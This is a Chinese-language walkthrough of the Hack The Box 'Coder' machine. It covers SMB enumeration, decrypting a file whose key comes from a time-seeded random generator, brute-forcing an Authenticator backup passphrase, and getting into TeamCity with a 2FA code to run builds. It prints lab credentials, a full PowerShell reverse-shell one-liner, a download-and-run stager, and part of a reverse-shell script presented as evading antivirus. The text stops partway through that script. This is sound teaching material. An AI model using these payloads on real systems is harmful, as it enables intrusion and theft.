HTB
April 27, 2025

HTB-Machine-Coder

Coder

nmap扫描

先扫描所有开放端口

1
sudo nmap -sT --min-rate 10000 -p- 10.10.11.207 -oA nmapscan/ports

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT      STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49685/tcp open unknown
49700/tcp open unknown

这里我又使用不加-sT命令进行了一次扫描

-sT 扫描:

即TCP Connect扫描,nmap会尝试与目标主机的每个指定端口建立完整的 TCP 三次握手连接,如果连接成功,端口被认为是开放的;如果连接失败,端口被认为是关闭的或被过滤的,这种扫描方式不需要特殊权限,但更容易被检测到

不加-sT(默认 SYN 扫描,-sS):

SYN扫描或半开放扫描,nmap发送一个 SYN 包到目标端口,如果收到 SYN/ACK 响应,则认为端口是开放的,然后 nmap 会发送一个 RST 包来终止连接,而不完成三次握手。这种方式速度快且隐秘,但需要管理员权限。

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
>PORT      STATE SERVICE
>53/tcp open domain
>80/tcp open http
>88/tcp open kerberos-sec
>135/tcp open msrpc
>139/tcp open netbios-ssn
>389/tcp open ldap
>443/tcp open https
>445/tcp open microsoft-ds
>464/tcp open kpasswd5
>593/tcp open http-rpc-epmap
>636/tcp open ldapssl
>3268/tcp open globalcatLDAP
>3269/tcp open globalcatLDAPssl
>5985/tcp open wsman
>9389/tcp open adws
>47001/tcp open winrm
>49664/tcp open unknown
>49665/tcp open unknown
>49666/tcp open unknown
>49667/tcp open unknown
>49669/tcp open unknown
>49670/tcp open unknown
>49671/tcp open unknown
>49677/tcp open unknown
>49680/tcp open unknown
>49685/tcp open unknown
>49700/tcp open unknown
>49711/tcp open unknown

可见这种扫描更加的全面

对所有开放端口进行更详细的扫描

1
sudo nmap -sT -sV -sC -O -p$ports 10.10.11.207 -oA nmapscan/detail   

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
PORT      STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-22 21:32:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
|_ssl-date: 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US
| Not valid before: 2022-11-04T17:25:43
|_Not valid after: 2032-11-01T17:25:43
|_http-title: IIS Windows Server
| tls-alpn:
|_ http/1.1
|_ssl-date: 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time.
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
|_ssl-date: 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
|_ssl-date: 2025-03-22T21:33:32+00:00; +7h30m22s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2022 (93%), Microsoft Windows 10 1903 (92%), Microsoft Windows Server 2012 (92%), Windows Server 2019 (92%), Microsoft Windows Longhorn (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-03-22T21:33:24
|_ start_date: N/A
|_clock-skew: mean: 7h30m21s, deviation: 0s, median: 7h30m21s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.14 seconds

进行udp端口扫描

1
sudo nmap -sU --top-ports 40 10.10.11.207 -oA nmapscan/udp

结果如下

1
2
3
4
5
6
7
8
PORT     STATE         SERVICE
53/udp open domain
123/udp open ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf

我们现在得到的信息有

容易得到这是一个域控

我们将上面得到的域名信息加入hosts文件中

1
echo "10.10.11.207 coder.htb dc01.coder.htb" | sudo tee -a /etc/hosts

smb枚举

1
nxc smb 10.10.11.207 --shares

微信截图_20250322221519

我们从上面的枚举中看出,smb服务器启用了签名,同时启用了SMBv2协议,但是我们无法列出共享,接下来尝试使用匿名账户登录

1
nxc smb 10.10.11.207 -u chromos2me -p '' --shares

微信截图_20250322222044

从上面可以看出匿名账户可以登录,同时我们有读DevelopmentIPC$Users共享的权限

读取Development共享

我们直接指定不需要密码进行共享连接

1
smbclient -N //10.10.11.207/Development 

我们发现存在两个共享文件夹

微信截图_20250323131320

先查看Migrations共享文件夹

微信截图_20250323131558

adcs_reporting:来自Github存储库PowerShell-AdminScripts的ActiveDirectoryCertificateServices/Get-ADCS_Report.ps1

bootstrap-template-master:来自Github存储库bootstrap-responsive-web-application-template

Cachet-2.4:来自存储库cachet

kimchi-master:来自存储库kimchi

只有teamcity_test_repo这个存储库看起来能被我们进行利用,我们将其保存到本地,需要递归下载整个文件夹需要开启下面的设置

1
2
3
mask ""
recurse ON
prompt OFF

mask "":用于设置上传文件的权限掩码,""表示不应用任何权限掩码,通常会使用服务器默认的 create maskdirectory mask 设置

recurse ON:启用递归模式,即允许操作目录及其所有子目录中的文件,例如在 mget(批量下载)或 mput(批量上传)时,recurse ON 允许操作整个目录结构,而不仅仅是当前目录的文件

prompt OFF:关闭交互式提示,避免 smbclient 在执行 mgetmput 这些命令时询问是否确认下载/上传每个文件

1
mget \Migrations\teamcity_test_repo 

我们在.git文件夹下的config文件中发现一名用户信息Sonya Blade及其邮箱s.blade@coder.htb

微信截图_20250323140335

读取Temporary Projects共享文件夹

微信截图_20250323140953

我们发现了一个加密器和加密后的文件,仍然下载下来

1
mget "Temporary Projects"

这里我们需要对Encrypter.exe进行逆向,放到后面进行

读取User共享

,没什么有用的东西

DNS区域传送漏洞

我们现在获取到了域名coder.htb,我们向DNS服务器发起AXFRDNS 区域传输请求,看一下返回的结果

1
dig @10.10.11.207 coder.htb axfr

微信截图_20250323142619

Windows下可以利用下面的方法

1
2
3
4
>nslookup
>server <dns-server>
>set type=AXFR
><domain>

现在区域传输失败了,我们尝试对子域进行爆破

1
dnsenum --dnsserver 10.10.11.207 -f /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt coder.htb

微信截图_20250323211201

对爆破出来的子域进行了手动测试,发现并没有什么有用的信息

80/443端口

80端口仅仅是一个IIS的欢迎界面,没有什么其他的信息

微信截图_20250323211545

443端口仍是欢迎界面,这样的话就可以先不进行目录爆破了,我们先对拿到的可执行文件进行逆向

Encrypter.exe逆向

我们在dnspy中打开Encrypter.exe,发现如下图的程序主体逻辑

微信截图_20250323212613

先分析Main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// AES
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
public static void Main(string[] args)
{
bool flag = args.Length != 1;
if (flag)
{
Console.WriteLine("You must provide the name of a file to encrypt.");
}
else
{
FileInfo fileInfo = new FileInfo(args[0]);
string destFile = Path.ChangeExtension(fileInfo.Name, ".enc");
long value = DateTimeOffset.Now.ToUnixTimeSeconds();
Random random = new Random(Convert.ToInt32(value));
byte[] array = new byte[16];
random.NextBytes(array);
byte[] array2 = new byte[32];
random.NextBytes(array2);
byte[] array3 = AES.EncryptFile(fileInfo.Name, destFile, array2, array);
}
}

程序调用EncryptFile对文件进行AES加密,并给加密后的文件更改后缀为enc,但是这里的随机种子是value,它是通过DateTimeOffset.Now.ToUnixTimeSeconds()获取的,先获取当前的日期和时间并将其转换为 Unix 时间戳,那么这里的随机数就存在被我们预测的可能性。

接下来查看EncryptFile这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// AES
// Token: 0x06000002 RID: 2 RVA: 0x000020E8 File Offset: 0x000002E8
private static byte[] EncryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
using (FileStream fileStream = new FileStream(destFile, FileMode.Create))
{
using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor(Key, IV))
{
using (CryptoStream cryptoStream = new CryptoStream(fileStream, cryptoTransform, CryptoStreamMode.Write))
{
using (FileStream fileStream2 = new FileStream(sourceFile, FileMode.Open))
{
byte[] array = new byte[1024];
int count;
while ((count = fileStream2.Read(array, 0, array.Length)) != 0)
{
cryptoStream.Write(array, 0, count);
}
}
}
}
}
}
return null;
}

这个函数也就是实现文件加密的具体过程,其中传入的密钥和IV即我们上面所说的利用伪随机数生成的,如果我们能够知道文件创建的具体时间的话,我们就能恢复Unix时间戳然后预测随机数从而拿到密钥和IV,但是现在的问题是文件的创建时间是我们从共享中下载该文件的时间,要想保留真实的创建时间我们该怎么做呢?

我们应该将其挂载在我们的机器上,这里有多种挂载方式

1
sudo mount //10.10.11.207/Development /mnt

可以看到已经成功匿名挂载上去了

微信截图_20250323222832

接下来利用stat命令用于显示文件或文件系统的详细信息,包括权限、大小、时间戳等)查看

1
stat /mnt/Temporary\ Projects/s.blade.enc 

结果如下

1
2
3
4
5
6
7
8
9
10
──(chromosome㉿kali)-[~/HTB/Coder/Temporary Projects]
└─$ stat /mnt/Temporary\ Projects/s.blade.enc
文件:/mnt/Temporary Projects/s.blade.enc
大小:3808 块:8 IO 块大小:1048576 普通文件
设备:0,54 Inode: 1125899907128474 硬链接:1
权限:(0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
访问时间:2022-11-12 06:17:08.374350100 +0800
修改时间:2022-11-12 06:17:08.374350100 +0800
变更时间:2022-11-12 06:17:08.374350100 +0800
创建时间:2022-11-08 05:05:02.949637700 +0800

还有另一种方式

1
>sudo mount -t cifs \\\\dc01.coder.htb\\Development /mnt -o vers=3.0,username=guest,serverino,sec=ntlmsspi

-t cifs:指定文件系统为cifscifs是Windows系统常用的一种网络文件共享协议

\\\\dc01.coder.htb\\Development:指定共享,双反斜杠是为了转义反斜杠

/mnt:挂载点

-o:指定其他的挂载选项

  • vers=3.0:设置CIFS的版本
  • username=guest:指定用户名
  • serverino:该选项请求服务器生成并返回唯一的 inode 号码,这在某些特定的应用或场景中可能会有所帮助。
  • sec=ntlmsspi:该选项指定用于身份验证的安全机制。”ntlmsspi” 指的是 NTLMSSP(NT LAN Manager Security Support Provider),这是一种 Windows 认证协议。

之后利用date命令下的-r选项显示文件的最后修改时间

微信截图_20250324000923

完整命令为

1
>date -r /mnt/Temporary\ Projects/s.blade.enc "+%s"

微信截图_20250324001107

接下来利用AI写一个解密脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
using System;
using System.IO;
using System.Security.Cryptography;

class Program
{
static void Main(string[] args)
{
// 已知的 value 值
long value = 1668205028;

// 使用相同的随机数生成器生成 Key 和 IV
Random random = new Random(Convert.ToInt32(value));
byte[] iv = new byte[16];
byte[] key = new byte[32];
random.NextBytes(iv);
random.NextBytes(key);

// 加密文件的路径
string encryptedFile = "C:\\Users\\lenovo\\Desktop\\s.blade.enc";
// 解密后文件的路径
string decryptedFile = "C:\\Users\\lenovo\\Desktop\\de";

// 解密文件
DecryptFile(encryptedFile, decryptedFile, key, iv);

Console.WriteLine("文件解密完成!");
}

private static void DecryptFile(string encryptedFile, string decryptedFile, byte[] key, byte[] iv)
{
using (RijndaelManaged aes = new RijndaelManaged())
{
aes.Key = key;
aes.IV = iv;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;

using (FileStream fsInput = new FileStream(encryptedFile, FileMode.Open))
using (FileStream fsOutput = new FileStream(decryptedFile, FileMode.Create))
using (ICryptoTransform decryptor = aes.CreateDecryptor())
using (CryptoStream cryptoStream = new CryptoStream(fsInput, decryptor, CryptoStreamMode.Read))
{
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = cryptoStream.Read(buffer, 0, buffer.Length)) > 0)
{
fsOutput.Write(buffer, 0, bytesRead);
}
}
}
}
}

然后我们将解密出来的文件放入010里面查看一下它是什么类型的文件

微信截图_20250401211851

由上图可知很明显的7z文件头,然后我们给他添加7z后缀进行解压,压缩包中的文件如下所示

微信截图_20250401212023

KDBX 文件是KeePass密码管理器使用的数据库文件格式。它用于存储用户的密码、账户信息以及其他敏感数据,并通过强加密算法保护这些信息。

我们可以利用kpclikeepassxc解密我们的文件,建议使用keepassxc图形化很方便

打开后我们利用.key文件作为密钥

微信截图_20250401213318

数据库中存在两组登录凭据和一组验证器备份码Authenticator backup codes,在名为Teamcity的登录凭据中揭示了一个新的子域https://teamcity-dev.coder.htb

微信截图_20250401213430

详细的信息如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Authenticator backup codes


{
"6132e897-44a2-4d14-92d2-12954724e83f": {
"encrypted": true,
"hash": "6132e897-44a2-4d14-92d2-12954724e83f",
"index": 1,
"type": "totp",
"secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
"issuer": "TeamCity",
"account": "s.blade"
},
"key": {
"enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
"hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
}
}


#看起来像一个域用户凭据
O365
s.blade@coder.htb
AmcwNO60Zg3vca3o0HDrTC6D

Teamcity
s.blade
veh5nUSZFFoqz9CrrhSeuwhA
https://teamcity-dev.coder.htb

将子域加入hosts文件中

1
echo "10.10.11.207 teamcity-dev.coder.htb" | sudo tee -a /etc/hosts

s.blade账户没有winrm权限(可能不在Remote Management Users组中),但是有smb权限和ldap权限

微信截图_20250425185906

微信截图_20250425190222

对KDBX中的子域名进行信息收集

服务开放在443端口上,界面是JetBrains的Teamcity登录界面,我们尝试利用凭据s.blade:veh5nUSZFFoqz9CrrhSeuwhA进行登录

TeamCity是由JetBrains开发的 持续集成(CI)和持续部署(CD) 工具。它用于自动化软件构建、测试和发布流程,帮助开发团队提高效率和代码质量。

验证器备份码

但是这里触发了Two-Factor Authentication即2FA

微信截图_20250401215120

2FA即二要素认证是一种增强型身份验证机制,要求用户提供两种不同的认证因素以验证其身份,比单一密码认证更加安全,即使密码泄露,攻击者仍然需要第二个因素才能完成身份验证

二要素认证的 两个因素必须来自不同的类别,常见的组合有:

  • 密码 + 短信验证码
  • 密码 + TOTP 动态验证码
  • 密码 + 硬件安全密钥
  • 密码 + 指纹识别

我们在上面所发现的Authenticator backup codes采用的就是TOTP(Time-Based One-Time Password)是基于时间的动态验证码

还有一种身份验证机制叫做MFA(Multi-Factor Authentication)

我们keepassxc中的Authenticator backup codes很明显是被加密过的,在登录页面需要输入来自authenticator app获取到的6位数字码或恢复后的密码,这里在谷歌和火狐中均存在一个名叫Authenticator的2FA拓展 ,我们可以通过它获取6位数字密码或者恢复后的密码

我们可以先测试一下这个拓展程序,这里我们添加一个新的账户,这里的密码是16位字母

微信截图_20250402162158

他会生成6位验证码

微信截图_20250402162316

我们尝试下载一下备份文件并和我们在keepassxc中得到的进行对比

微信截图_20250402162359

下面是备份文件的格式及内容,但是这是没有进行加密的文件,我们给备份文件设置密码看看会出现什么样子的变化

1
otpauth://totp/test:?secret=aaaaaaaaaaaaaaaa&issuer=test

在设置的安全中添加密码

微信截图_20250402162753

我们重新返回备份中可以看到多出了一个下载加密备份的选项,我们下载下来看一下

微信截图_20250402162838

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"c85c3817-c6e5-4dfe-a07e-5ef25ddf919f": {
"dataType": "EncOTPStorage",
"data": "U2FsdGVkX18fvjz8FHUB0fN9sywDmlY/zfySf9ZCz8c6gC5n9BxWSKFpt4DLrHUepUT9yPMFNALZCnupgR1D/BGFxXHUvIRW8OMb6DPtupMkYZ6XSrP/oaiZVjKdt5lOGJSqv9VAB4FNxWfj7WN1YsOgcNqo6Q2eTXhRRB/aKaNSXTjEb3p7SfoXUryj/O/9Dff0AEUsSszgGoSSFbRgwUnccT1E3N0r6N94tqqAeAC4xKYZHrpUy/wK6RNy8GCyCfFSGdtrVKtrzgRuVIiFVCcGt6pKZQox9HKTReP+V6c=",
"keyId": "2083bee2-fe4d-494d-949e-364ed5349b64",
"index": 1
},
"2083bee2-fe4d-494d-949e-364ed5349b64": {
"dataType": "Key",
"hash": "$argon2id$v=19$m=19456,t=2,p=1$MzEyNDNlNzNmZjMwOWQyYjNkNzcyZWEzNDQ5ZTY1MDg$X1YxjXK1RlMy3hnRqD4a6tKAF/6pnxAFvaQ85uYlBGk",
"id": "2083bee2-fe4d-494d-949e-364ed5349b64",
"salt": "452012591ffc24bb2a23aee74e618e",
"version": 3
}
}

可见返回的加密备份文件和我们之前获得的存在大量相似之处

我们可以选择导入备份文件并输入加密备份文件的密码获取当前的6位TOTP验证码值,那么现在的目标就是获取加密密码

微信截图_20250402163353

分析加解密逻辑

因为这个项目开源,我们在Github上找到源码(这里选择dev分支)分析加密逻辑,首先定位src/definitions/otp.d.ts这个存在很多接口的地方,有如下代码

1
2
3
4
5
6
7
8
9
interface EncryptionInterface {
getEncryptedString(data: string): string;
decryptSecretString(entry: string): string | null;
decryptEncSecret(entry: OTPEntryInterface): RawOTPStorage | null;
getEncryptionStatus(): boolean;
updateEncryptionPassword(password: string): void;
getEncryptionKeyId(): string;
setEncryptionKeyId(id: string): void;
}

我们跟进getEncryptedString这个接口看一下具体实现

1
2
3
4
5
6
7
getEncryptedString(data: string): string {
if (!this.password) {
return data;
} else {
return CryptoJS.AES.encrypt(data, this.password).toString();
}
}

加密过程利用了CryptoJS.AES这个库,对提供的数据和密码进行加密

接下来看一下解密备份数据函数,函数存在于src/import.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
export async function decryptBackupData(
backupData: { [hash: string]: OTPStorage | Key },
passphrase: string | null
) {
const decryptedBackupData: { [hash: string]: RawOTPStorage } = {};
const keys: Map<string, string | null> = new Map();
for (const hash in backupData) {
const unknownStorageItem = backupData[hash];
if (
typeof unknownStorageItem !== "object" ||
unknownStorageItem.dataType === "Key"
) {
continue;
}
let storageItem: RawOTPStorage;
if (unknownStorageItem.dataType === "EncOTPStorage") {
if (!passphrase) {
continue;
}

if (!keys.has(unknownStorageItem.keyId)) {
keys.set(
unknownStorageItem.keyId,
await findAndUnlockKey(
backupData,
unknownStorageItem.keyId,
passphrase
)
);
}
const decryptKey = keys.get(unknownStorageItem.keyId);
if (!decryptKey) {
// wrong password for key
continue;
}

storageItem = {
...unknownStorageItem,
...JSON.parse(
CryptoJS.AES.decrypt(unknownStorageItem.data, decryptKey).toString(
CryptoJS.enc.Utf8
)
),
encrypted: false,
};
} else {
storageItem = unknownStorageItem;
}
if (!storageItem.secret) {
continue;
}
if (storageItem.encrypted && !passphrase) {
continue;
}
if (storageItem.encrypted && passphrase) {
try {
storageItem.secret = CryptoJS.AES.decrypt(
storageItem.secret,
passphrase
).toString(CryptoJS.enc.Utf8);
storageItem.encrypted = false;
} catch (error) {
continue;
}
}
// storageItem.secret may be empty after decrypt with wrong
// passphrase
if (!storageItem.secret) {
continue;
}
decryptedBackupData[hash] = storageItem;
}
return decryptedBackupData;
}

这段代码是用来解密备份数据backupData的,传入的数据项由hash字段唯一标识,因为这是OTP密码,所以还要传入配套的passphrase密钥,decryptBackupData 函数通过提供的 passphrase 解密这些数据,并返回解密后的结果

我们继续寻找调用decryptBackupData的地方,位于TextImport.vue

1
2
3
4
5
6
7
8
if (key && passphrase) {
decryptedbackupData = await decryptBackupData(
exportData,
CryptoJS.AES.decrypt(key.enc, passphrase).toString()
);
} else {
decryptedbackupData = await decryptBackupData(exportData, passphrase);
}

我们可以看到key.enc文件实际上也被加密了,也利用了一个passphrase,同时真正去解密我们的Authenticator backup codespassphrase其实是解密后的key.enc文件,这里还存在一个比较绕的逻辑,利用解密后的key.enc第一次解密出的是totp对象的 secret,然后我们继续利用解密后的 secret 进一步解密剩余的totp数据,然后完成整个解密过程。

这里给出一个例子来理解这个解密过程

1
2
3
4
5
6
7
8
9
10
11
{
"hash1": {
"dataType": "EncOTPStorage",
"keyId": "key1",
"data": "U2FsdGVkX1+...(加密后的数据)"
},
"key1": {
"dataType": "Key",
"encryptedKey": "U2FsdGVkX1+...(加密后的密钥)"
}
}

这里我直接给出key.enc解密后的值为mypassword

我们现在需要做的就是尝试爆破解密后的key.enc,这里我们可以尝试rockyou字典,这里借用0xdf的脚本,因为太菜了不会写nodejs

我们需要先安装crypto-js

1
npm i crypto-js

然后保存下面的代码为brute.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const fs = require('fs')
const readline = require('readline')
const CryptoJS = require('crypto-js')

const secret = "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2";
const enc = "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1";

const rl = readline.createInterface({
input: fs.createReadStream(process.argv[2])
});

rl.on('line', (line) => {
var key = CryptoJS.AES.decrypt(enc, line).toString();
var result = CryptoJS.AES.decrypt(secret, key).toString();
var seed = Buffer.from(result, 'hex').toString();

if (seed.length > 10 && /^[\x00-\x7F]*$/.test(seed)) {
console.log(`line: ${line}\nkey: ${key}\nresult: ${result}\nseed: ${seed}`);
rl.close();
process.exit();
}
})

运行代码

1
node brute.js rockyou.txt

微信截图_20250402210829

1
2
3
4
line: skyblade
key: 3a3c2614b17654f9f15dce9dd282955e4f82e32dd0397fbb5b6730354a3dc6a7465091e1bea6fd465aa83743fbd9e630c9dff2c461da26737dc693d0d88623129b7c1a9342d0c88b406d7d542d4414ee4f13ee3e127d9ed0a124773d66e8af460d4347e3551dace0299452b898cc01396c6c4cc8ab967cad
result: 504d32434736524f3733515437345753
seed: PM2CG6RO73QT74WS

那么这里的skyblade就是我们的加密备份文件的密码,我们利用上面提到的导入方式导入我们获得的验证器备份码文件

导入备份码登入TeamCity

如下图所示

微信截图_20250402211602

然后利用生成的验证码登录

微信截图_20250402211703

但是这里因为和靶机时间不同步的原因,导致我们的验证码无法正常使用,我们可以利用ntpdate进行时间同步,这里我选择使用faketime

先用ntpdate查看与域控相差的时间

1
2025-04-03 02:49:46.305998 (+0800) +19049.425767 +/- 0.123109 dc01.coder.htb 10.10.11.207 s1 no-leap

然后用faketime打开chrome

1
faketime "19049 seconds" google-chrome

这里还有一种获取2FA验证码的方式,利用解密出来下面json的明文

1
2
>"secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
>"issuer": "TeamCity",

这里的secret就是我们上面解出来的seed的值PM2CG6RO73QT74WS,如下图所示两者是一样的

image-20250402214623161

获取立足点

我们在TeamCity的界面中发现一个Development_Testing的项目,我们在项目的参数中发现他构建的东西是我们之前在smb共享中下载的teamcity_test_repo这个存储库

微信截图_20250402220519

接下来我们看一下我们在TeamCity中的职位为Project developer

微信截图_20250402220813

点击permissions查看详细权限

微信截图_20250402221152

我们在图中发现了一个我们可以进行利用的权限:使用自定义补丁更改构建源代码

这意味着我们可以利用之前从SMB复制的Git仓库,将载荷合并到其中,提交差异文件作为补丁,并将其作为自定义任务运行。

我们现在利用一个简单的网络请求载荷验证我们的猜想

1
echo 'iwr http://10.10.14.40' > hello_world.ps1

之后获取编辑后的新脚本和原始脚本之间的差异,并将其保存到一个文件中

1
git diff | tee diff.txt

微信截图_20250402222528

然后我们启动一个web服务器处理请求

1
python3 -m http.server 80  

提交并运行我们的自定义构建

微信截图_20250402222912

注意这里选择run as a personal build并上传我们的diff文件,之后Run Build

微信截图_20250402223029

可以看到和我们预想的一致,我们收到了来自CI/CD的请求

微信截图_20250402223201

我们尝试生成一个powershell反弹shell

1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.22',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

在我们的CI/CD界面显示我们上传的文件存在病毒,因此我们要尝试利用其他的反弹shell规避防病毒软件

微信截图_20250402223928

这里还是用一下之前能过杀软上线的反弹shell powershell-reverse-shell.ps1,这里建议分阶段执行

1
iwr http://10.10.14.40/shell.ps1 -outfile C:\windows\temp\shell.ps1; C:\windows\temp\shell.ps1

shell.ps1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
do {
# Delay before establishing network connection, and between retries
Start-Sleep -Seconds 1

# Connect to C2
try{
$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.22', 4444)
} catch {}
} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

# Writes a string to C2
function WriteToStream ($String) {
